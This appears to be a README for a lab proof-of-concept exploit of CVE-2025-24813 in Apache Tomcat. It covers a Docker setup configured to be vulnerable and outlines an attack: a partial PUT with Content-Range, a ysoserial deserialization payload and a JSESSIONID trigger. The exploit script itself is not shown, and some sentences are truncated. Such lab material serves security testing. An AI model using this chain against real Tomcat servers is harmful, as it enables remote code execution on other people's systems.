Proof of Concept (PoC) script for CVE-2025-24813, vulnerability in Apache Tomcat.
The script has been modified based on the related link and tailored to my needs.
Given environment based on the official Tomcat 9.0.90 image. It removes the server's read-only restriction and configures it to save session data to disk. Then, it automatically deploys application by copying ROOT.war file into Tomcat’s webapps/ directory.
docker build -t cve-2025-24813 .
docker run --name cve-2025-24813 -it -d -p 8080:8080 cve-2025-24813
check.txt file with the Content-Range header is placed to verify if the server is accepting PUT requests.ysoserial.JSESSIONID, triggering deserialization.$ python3 cve_2025_24813.py
